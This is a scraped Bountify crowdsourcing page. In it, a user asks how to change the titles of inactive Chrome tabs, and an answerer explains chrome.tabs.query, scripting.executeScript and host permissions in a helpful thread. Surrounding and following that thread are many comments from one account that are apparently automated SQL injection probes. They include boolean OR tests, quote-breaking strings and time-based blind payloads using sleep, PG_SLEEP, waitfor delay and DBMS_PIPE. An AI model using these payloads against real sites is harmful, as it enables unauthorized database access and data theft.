Changing titles of inactive tabs with a chrome extension
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

If you've built chrome extensions before and have worked with the chrome.tabs api ( https://developer.chrome.com/docs/extensions/reference/tabs/ )
then I would be grateful if you help me figure out how to do things (such as changing the document.title) with multiple inactive tabs at once.

Please have a look at this Stack Overflow question:

https://stackoverflow.com/questions/70225081/how-can-you-change-the-document-object-of-inactive-tabs

WK3p28w6
gbtagbbj 1 month ago
-1 OR 2+472-472-1=0+0+0+1 --
gbtagbbj 1 month ago
-1 OR 3+472-472-1=0+0+0+1 --
gbtagbbj 1 month ago
-1 OR 2+770-770-1=0+0+0+1
gbtagbbj 1 month ago
-1 OR 3+770-770-1=0+0+0+1
gbtagbbj 1 month ago
-1' OR 2+478-478-1=0+0+0+1 --
gbtagbbj 1 month ago
-1' OR 3+478-478-1=0+0+0+1 --
gbtagbbj 1 month ago
-1' OR 2+945-945-1=0+0+0+1 or 'i2n1rADn'='
gbtagbbj 1 month ago
-1' OR 3+945-945-1=0+0+0+1 or 'i2n1rADn'='
gbtagbbj 1 month ago
-1" OR 2+952-952-1=0+0+0+1 --
gbtagbbj 1 month ago
-1" OR 3+952-952-1=0+0+0+1 --
gbtagbbj 1 month ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 1 month ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 1 month ago
-1 OR 2+921-921-1=0+0+0+1 --
gbtagbbj 1 month ago
-1 OR 3+921-921-1=0+0+0+1 --
gbtagbbj 1 month ago
-1 OR 2+393-393-1=0+0+0+1
gbtagbbj 1 month ago
-1 OR 3+393-393-1=0+0+0+1
gbtagbbj 1 month ago
-1' OR 2+504-504-1=0+0+0+1 --
gbtagbbj 1 month ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 1 month ago
-1' OR 3+504-504-1=0+0+0+1 --
gbtagbbj 1 month ago
-1' OR 2+185-185-1=0+0+0+1 or 'oYaZI9hB'='
gbtagbbj 1 month ago
-1' OR 3+185-185-1=0+0+0+1 or 'oYaZI9hB'='
gbtagbbj 1 month ago
-1" OR 2+673-673-1=0+0+0+1 --
gbtagbbj 1 month ago
-1" OR 3+673-673-1=0+0+0+1 --
gbtagbbj 1 month ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 1 month ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 1 month ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 1 month ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 1 month ago
1 waitfor delay '0:0:15' --
gbtagbbj 1 month ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 1 month ago
Ix93lY2m'
gbtagbbj 1 month ago
-5 OR 517=(SELECT 517 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
-5) OR 484=(SELECT 484 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
1 waitfor delay '0:0:15' --
gbtagbbj 1 month ago
-1)) OR 506=(SELECT 506 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
lgZceq4I'
gbtagbbj 1 month ago
PRBmh8US' OR 618=(SELECT 618 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
-5 OR 137=(SELECT 137 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
jLGxPDrM') OR 317=(SELECT 317 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
-5) OR 373=(SELECT 373 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
69RIr77A')) OR 952=(SELECT 952 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
-1)) OR 23=(SELECT 23 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 1 month ago
X68PnbhR' OR 305=(SELECT 305 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 1 month ago
5zcgp4wm') OR 541=(SELECT 541 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 1 month ago
mcNXFlZL')) OR 91=(SELECT 91 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 1 month ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 1 month ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 1 month ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 1 month ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 1 month ago
FAanlpvJ
gbtagbbj 30 days ago
-1 OR 2+298-298-1=0+0+0+1
gbtagbbj 30 days ago
-1 OR 3+298-298-1=0+0+0+1
gbtagbbj 30 days ago
RLIKE (SELECT (CASE WHEN (308=308) THEN 1 ELSE 0x28 END)) --
gbtagbbj 30 days ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 30 days ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 30 days ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 30 days ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 30 days ago
1 waitfor delay '0:0:15' --
gbtagbbj 30 days ago
6cGR6zYQ'
gbtagbbj 30 days ago
-5 OR 631=(SELECT 631 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-5) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-1)) OR 164=(SELECT 164 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
f0Q9ajMQ' OR 64=(SELECT 64 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
5b2vzAZl') OR 263=(SELECT 263 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
QxwUV8Iq')) OR 232=(SELECT 232 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 30 days ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 30 days ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 30 days ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 30 days ago
awarded to radosinsky

Crowdsource coding tasks.

1 Solution

Winning solution

Hello,

you can query for inactive tabs using chrome.tabs.query({active: false}, callback) (or leave the object empty if you want all tabs).

Then you'll need a script to change the title that you'll execute on each tab:
document.title = "INACTIVE TAB";

You also need to specify permissions for tabs and scripting in manifest.json file.

Here's full extension that will change all inactive tab titles to INACTIVE TAB on load:
https://gist.github.com/radosinsky/cb35cd159ac66e2d5242cdc7f57a14db
(Download ZIP, extract, then load entire folder in Chrome Extensions page)

Let me know if this solves your problem or if you need help with anything else. Thanks!

Hello radonsinsky, I was mentioning the scripting solution, but I was hoping I could solve it without external scripts and do the renaming in the frontend. Because that's where I have the user input. I don't know how to pass it to the script file. And tbh having to use an extra script file just seems hacky and presumably, it's even a security risk.
j0hannes 7 months ago
Hey! You don't have to use script file, there's also an option to execute function. This function will be executed on the target, so you can easily use document.title to change the title. You can do this by changing files option to func. If you want to pass arguments to the function, you'll have to use args option. I updated the gist with example how to do this: https://gist.github.com/radosinsky/cb35cd159ac66e2d5242cdc7f57a14db
radosinsky 7 months ago
As for the security concerns, you can read here why V3 approach is much safer than V2 mentioned in your SO question: https://developer.chrome.com/blog/crx-scripting-api/
radosinsky 7 months ago
You'll need to use "host_permissions": ["http://*/*", "https://*/*"], or <all_urls>, which is an alias for "*://*/*" (this will match all protocols, including, for example, file:// and ftp://.
radosinsky 7 months ago
Thank you! Now I am being told that I don't have host permission (even though I have it in the manifest). here's a 1min video demo: https://www.awesomescreenshot.com/video/6385965?key=c295762957b797ce0b2448e949e18e8e
j0hannes 7 months ago
Hey, I just tested the extension with https://*/* host permissions and it's working fine for me. Could you please double check that you've reloaded the extension with updated manifest.json and/or try setting host permissions to <all_urls>? Also please check if you're using manifest version 3. Does my extension from the gist work for you? If you're still having issues, would it be possible to send me your extension so I can test it? Thank you!
radosinsky 7 months ago
hey, only saw your answer just now. simply restarting my browser solved the host_permissions issue. I'll give you your well-earned bounty now, but I have another question for you in this video that I just recorded: https://www.awesomescreenshot.com/video/6387207?key=747d924f5506fc20e22a6612cca53a17 it's about tabs, that are not loaded at all (and would be loaded from scratch when there were clicked) having an empty string "" as their url and therefore no document to modify. Maybe there is something that can be done? could I force all tabs of the current window to reload beforehand and how would that look?
j0hannes 7 months ago
to answer my own question: I found a 'discarded' property and was checking tab.discarded to chrome.tabs.reload(tab.id) those that are discarded. then I was scratching my head, as it didnt work. But then I investigated the tab object and found a status properts. if (tab.status === "unloaded") { chrome.tabs.reload(tab.id) } this works. though, there are a few tabs, that are clearly not loaded. but for some reason their status is "completed", so they wont get an emoji 🤷‍♂️ Anyways... I'm happy with the result. Thanks for your help radonsinsky
j0hannes 7 months ago
-1 OR 2+966-966-1=0+0+0+1 --
gbtagbbj 1 month ago
-1 OR 3+966-966-1=0+0+0+1 --
gbtagbbj 1 month ago
-1 OR 2+340-340-1=0+0+0+1
gbtagbbj 1 month ago
-1 OR 3+340-340-1=0+0+0+1
gbtagbbj 1 month ago
-1' OR 2+865-865-1=0+0+0+1 --
gbtagbbj 1 month ago
-1' OR 3+865-865-1=0+0+0+1 --
gbtagbbj 1 month ago
-1' OR 2+882-882-1=0+0+0+1 or 'ZjtUfYaD'='
gbtagbbj 1 month ago
-1' OR 3+882-882-1=0+0+0+1 or 'ZjtUfYaD'='
gbtagbbj 1 month ago
-1" OR 2+558-558-1=0+0+0+1 --
gbtagbbj 1 month ago
-1" OR 3+558-558-1=0+0+0+1 --
gbtagbbj 1 month ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 1 month ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 1 month ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 1 month ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 1 month ago
1 waitfor delay '0:0:15' --
gbtagbbj 1 month ago
EFCuV0sl'
gbtagbbj 1 month ago
7aeHM2hv' OR 599=(SELECT 599 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
WFqH5sGR') OR 325=(SELECT 325 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
K3FEUXOs')) OR 595=(SELECT 595 FROM PG_SLEEP(15))--
gbtagbbj 1 month ago
e'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 1 month ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 1 month ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 1 month ago
-1 OR 2+571-571-1=0+0+0+1 --
gbtagbbj 30 days ago
-1 OR 3+571-571-1=0+0+0+1 --
gbtagbbj 30 days ago
-1 OR 2+651-651-1=0+0+0+1
gbtagbbj 30 days ago
-1 OR 3+651-651-1=0+0+0+1
gbtagbbj 30 days ago
-1' OR 2+286-286-1=0+0+0+1 --
gbtagbbj 30 days ago
-1' OR 3+286-286-1=0+0+0+1 --
gbtagbbj 30 days ago
-1' OR 2+563-563-1=0+0+0+1 or 'wn4BHuso'='
gbtagbbj 30 days ago
-1' OR 3+563-563-1=0+0+0+1 or 'wn4BHuso'='
gbtagbbj 30 days ago
-1" OR 2+134-134-1=0+0+0+1 --
gbtagbbj 30 days ago
-1" OR 3+134-134-1=0+0+0+1 --
gbtagbbj 30 days ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 30 days ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 30 days ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 30 days ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 30 days ago
1 waitfor delay '0:0:15' --
gbtagbbj 30 days ago
eUSnfLZT'
gbtagbbj 30 days ago
-5 OR 559=(SELECT 559 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-5) OR 131=(SELECT 131 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-1)) OR 560=(SELECT 560 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
zdR1f8ep' OR 356=(SELECT 356 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
xk7zP1Jy') OR 835=(SELECT 835 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
Vte5THY3')) OR 99=(SELECT 99 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 30 days ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 30 days ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 30 days ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 30 days ago
-1 OR 2+555-555-1=0+0+0+1 --
gbtagbbj 30 days ago
-1 OR 3+555-555-1=0+0+0+1 --
gbtagbbj 30 days ago
-1 OR 2+414-414-1=0+0+0+1
gbtagbbj 30 days ago
-1 OR 3+414-414-1=0+0+0+1
gbtagbbj 30 days ago
-1' OR 2+160-160-1=0+0+0+1 --
gbtagbbj 30 days ago
-1' OR 3+160-160-1=0+0+0+1 --
gbtagbbj 30 days ago
-1' OR 2+637-637-1=0+0+0+1 or '4ea16ZCx'='
gbtagbbj 30 days ago
-1' OR 3+637-637-1=0+0+0+1 or '4ea16ZCx'='
gbtagbbj 30 days ago
-1" OR 2+19-19-1=0+0+0+1 --
gbtagbbj 30 days ago
-1" OR 3+19-19-1=0+0+0+1 --
gbtagbbj 30 days ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 30 days ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 30 days ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 30 days ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 30 days ago
1 waitfor delay '0:0:15' --
gbtagbbj 30 days ago
ImNc0BAJ'
gbtagbbj 30 days ago
-5 OR 407=(SELECT 407 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-5) OR 856=(SELECT 856 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-1)) OR 717=(SELECT 717 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
hysE8254' OR 707=(SELECT 707 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
GkjSOzVc') OR 449=(SELECT 449 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
HJJRBB5A')) OR 582=(SELECT 582 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 30 days ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 30 days ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 30 days ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 30 days ago